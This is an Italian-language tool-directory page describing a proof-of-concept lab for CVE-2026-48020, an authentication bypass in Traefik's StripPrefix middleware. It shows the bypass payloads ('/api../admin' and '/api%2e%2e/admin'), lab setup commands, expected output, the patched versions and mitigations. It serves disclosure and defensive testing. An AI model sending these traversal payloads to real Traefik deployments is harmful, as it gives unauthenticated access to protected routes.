Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization | Kitploit
Strumenti/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1 mese faNon ancora revisionato

CVE-2026-48020 — Bypass dell'autenticazione a livello di route in StripPrefix di Traefik (PoC)

Una proof of concept autonoma per CVE-2026-48020, un bypass dell'autenticazione/autorizzazione a livello di route nel middleware StripPrefix di Traefik causato dalla normalizzazione del percorso che avviene dopo che le decisioni di routing sono state prese.

Una richiesta come GET /api../admin viene instradata attraverso un router pubblico PathPrefix(\/api`)al momento del routing (quindi il middlewarebasicAuthdel router protetto non viene mai applicato), ma dopo cheStripPrefixrimuove/apiereq.URL.JoinPath()di Go normalizza il residuo/../admin, il backend riceve /admin` — un percorso che avrebbe dovuto essere protetto.

Layout del lab

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

File

Riproduzione

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

Output atteso su un Traefik vulnerabile

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

Su un Traefik corretto (v3.7.3)

I payload di bypass restituiscono 404 invece di 200. La patch (PR #13215 di Traefik) rifiuta qualsiasi richiesta il cui percorso differisce dopo la normalizzazione di StripPrefix/StripPrefixRegex, quindi la riscrittura /../admin viene rilevata e rifiutata.

Verificare la correzione

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

Mitigazioni (senza aggiornare)

Impedire alla route pubblica di corrispondere del tutto alla forma di traversal:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

Divulgazione

Segnalata ai maintainer di Traefik da WonYun / kyun0 (GitHub: H4ck2); corretta in GHSA-xf64-8mw2-4gr2. Questo lab PoC è una riproduzione indipendente realizzata per l'articolo di accompagnamento: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

Scarica lo strumento
CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 Critico (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Versioni interessateTraefik <= v2.11.46, <= v3.6.17, <= v3.7.1
Corretto inv2.11.48, v3.6.19, v3.7.3
FileScopo
docker-compose.ymlAvvia un Traefik vulnerabile (v3.7.1) + un backend Python
dynamic.ymlConfigurazione dinamica di Traefik: una route pubblica /api con strip e una route protetta /admin,/internal dietro basicAuth
backend.pyPiccolo backend che restituisce un segreto per i percorsi protetti
poc.pyInvia i payload di bypass e segnala quali percorsi sono stati raggiunti